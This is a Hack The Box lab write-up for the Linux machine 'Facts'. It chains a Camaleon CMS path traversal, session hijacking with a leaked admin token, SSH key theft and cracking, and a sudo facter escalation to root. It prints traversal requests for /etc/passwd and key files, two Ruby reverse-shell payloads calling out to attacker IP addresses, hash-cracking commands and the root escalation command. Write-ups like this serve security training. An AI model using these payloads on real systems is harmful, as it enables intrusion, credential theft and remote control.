| Field | Detail |
|---|---|
| Name | Facts |
| OS | Linux (Ubuntu 25.04) |
| Difficulty | Easy |
| Target | facts.htb |
| Attack Path | Web Enumeration → Camaleon CMS RCE (blocked) → Reverse Path Traversal → Session Hijacking → SSH Key Theft → Passphrase Cracking → Sudo Misconfiguration (facter) → Root |
| CVE Referenced | CVE-2024-46986 (Camaleon CMS arbitrary file write) |
Facts is an easy-difficulty Linux machine built around a Camaleon CMS instance. While the box exposes a known arbitrary file write vulnerability in Camaleon CMS, the intended path instead relies on chaining a path traversal flaw in the admin media panel to hijack an administrator session, extract a SQLite database, crack a password hash, retrieve and crack an SSH private key, and finally abuse a sudo rule around Puppet's facter binary to escalate to root.
facter via sudoA standard Nmap scan reveals two HTTP services alongside SSH:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.26.3 (Ubuntu)
54321/tcp open http Golang net/http server
The service on port 80 identifies itself with the HTTP title facts, while the service on 54321 is fingerprinted as a Golang net/http server (MinIO).
Visiting http://facts.htb:9001 (the internal redirect target of port 54321) returns an empty response:
A direct curl request against port 54321 instead returns an XML error:

This response format is characteristic of an S3-compatible object storage service (e.g., MinIO), suggesting an internal storage backend sits behind port 54321.
A ffuf content discovery scan against port 80 returns a large number of accessible paths:

sitemap [Status: 200, Size: 3508, Words: 424, Lines: 130]
en [Status: 200, Size: 11113, Words: 1328, Lines: 125]
html [Status: 200, Size: 19593, Words: 3296, Lines: 282]
welcome [Status: 200, Size: 11966, Words: 1481, Lines: 130]
admin [Status: 302, Size: 0, Words: 1, Lines: 1]
...
Two entries stand out:
/sitemap — returns an XML sitemap enumerating several site pages (/welcome, /animal-ejected, /anne-frank, /cute-attachment, /cute-animals, /dark-chocolate, etc.), confirming a CMS-driven blog structure.

/admin — redirects to a login page branded "FACTS".
The footer of the admin login page discloses the underlying platform:

Camaleon CMS 2.9.0 is affected by CVE-2024-46986, an arbitrary file write vulnerability accessible via the MediaController's upload method:
"Camaleon CMS is a dynamic and advanced content management system based on Ruby on Rails. An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on... This can lead to delayed remote code execution in case an attacker is able to write a Ruby file into the
config/initializers/subfolder of the Rails application."
Exploiting this requires an authenticated account with access to the Media panel. A self-registration form is available at /admin, so a new account is created:

However, the newly created account does not have access to the Media panel — only the Dashboard link is visible in the sidebar:

Attempting to register a second account using the username admin confirms that an administrator account already exists:

At this point the objective becomes clear: gain access to an account with Media panel privileges in order to trigger CVE-2024-46986.
Further research into the admin panel uncovers a Reverse Path Traversal vulnerability in the media download endpoint:

GET /admin/media/download_private_file?file=../../../../../../../../../etc/passwd
This endpoint fails to sanitize the file parameter, allowing arbitrary file reads from the underlying filesystem. Reading /etc/passwd reveals two non-system users:

Leveraging the same primitive, the user flag is retrieved directly:

GET /admin/media/download_private_file?file=../../../../../../../../home/william/user.txt
Continuing to enumerate the application source through the path traversal primitive, the Rails database configuration file is retrieved, disclosing the location of the SQLite database files:

Using the same traversal technique, storage/production.sqlite3 is downloaded from disk:

Querying the database reveals the cama_users table, containing the admin account record alongside the attacker-controlled ignacio account:
| Column | Value | Meaning |
|---|---|---|
id |
1 | Unique user ID |
username |
admin | Login username |
role |
admin | User role |
email |
admin@local.com | Email address |
password_digest |
$2a$12$9lLBXaBzcTxohKjxX08aR.WmE7qyhwpl0NGGBLbKDi6t.PB5zdJcK |
bcrypt password hash |
auth_token |
1QGOA6YxgFANPE6XlGYPpg |
Session / authentication token |
password_reset_token |
(empty) | No pending reset |
last_login_at |
2026-01-08 15:30:12.955853 | Last login timestamp |
Rather than spending time cracking the bcrypt hash, the extracted auth_token is reused directly as a session/authentication cookie against facts.htb:

This successfully hijacks the administrator's session and grants access to the /admin/dashboard panel — including the Media section:

With Media panel access secured, the CVE-2024-46986 arbitrary file write is attempted:
A Ruby reverse shell payload is prepared:
ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("192.168.139.85",9001))'
This one-liner is saved as script.rb:
The upload request is intercepted with Burp Suite and the folder parameter is modified to traverse into the Rails initializer directory:


Content-Disposition: form-data; name="folder"
../config/initializers
Despite repeated attempts at delivering the payload into config/initializers/ to achieve delayed code execution on application reload, the exploitation attempt does not succeed — the server responds with:

This path is abandoned in favor of continuing to leverage the reliable path traversal primitive already available.
Using /admin/media/download_private_file, an attempt is made to retrieve SSH private keys for the discovered system users. The attempt against william fails, but the key for trivia is successfully retrieved:

That’s something I should have tried as soon as I discovered the LFI. However, I was too focused on achieving RCE that I didn’t even consider it. Definitely a lesson to keep in mind for future assessments. Tunnel vision is a weakness that needs to be addressed.
The retrieved key is protected by a passphrase:

The key is converted into a crackable hash format with ssh2john:
ssh2john id_ssh >> id_rsa.txt
and cracked offline using john against the rockyou.txt wordlist:

john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.txt
Cracked passphrase: dragonballz
With the passphrase recovered, SSH access is established as trivia:

ssh -i id_ssh trivia@facts.htb
facter via sudoEnumerating sudo privileges for the trivia user reveals a passwordless rule:
sudo -l

facter is Puppet's system-facts collection tool, which supports loading custom facts written in Ruby from a specified directory via the --custom-dir flag. Since it can be run as root without a password, this provides a direct path to arbitrary Ruby code execution as root.
A Ruby reverse shell is prepared:
#!/usr/bin/env ruby
# syscall 33 = dup2 on 64-bit Linux
# syscall 63 = dup2 on 32-bit Linux
# test with nc -lvp 1337
require 'socket'
s = Socket.new 2,1
s.connect Socket.sockaddr_in 9001, '10.10.16.150'
[0,1,2].each { |fd| syscall 33, s.fileno, fd }
exec '/bin/sh -i'
This payload is placed in an empty directory on the target (one containing no other .rb files, to avoid facter loading unrelated custom facts):

facter is then invoked with sudo, pointing --custom-dir at the directory containing the payload:
/opt/.local/share/gem/bin$ sudo facter --custom-dir=. x
A listener catches the resulting reverse shell running as root:

| Stage | Technique |
|---|---|
| Recon | Nmap identifies nginx (80) and a Golang net/http / S3-like service (54321) |
| Enumeration | ffuf discovers /sitemap and /admin on a Camaleon CMS 2.9.0 instance |
| Initial foothold | Self-registration reveals a Media-panel-only administrator restriction |
| Vulnerability chaining | Reverse Path Traversal in /admin/media/download_private_file leaks /etc/passwd, the user flag, and the Rails database.yml |
| Credential access | SQLite database exfiltrated via traversal; admin auth_token reused to hijack the session directly (bcrypt cracking bypassed entirely) |
| Blocked path | CVE-2024-46986 arbitrary file write attempted but unsuccessful in this instance |
| Lateral movement | SSH private key for trivia extracted via the same traversal primitive |
| Credential cracking | Passphrase-protected key cracked offline with ssh2john + john (rockyou.txt) → dragonballz |
| Privilege escalation | sudo NOPASSWD rule on facter --custom-dir abused to execute an arbitrary Ruby reverse shell as root |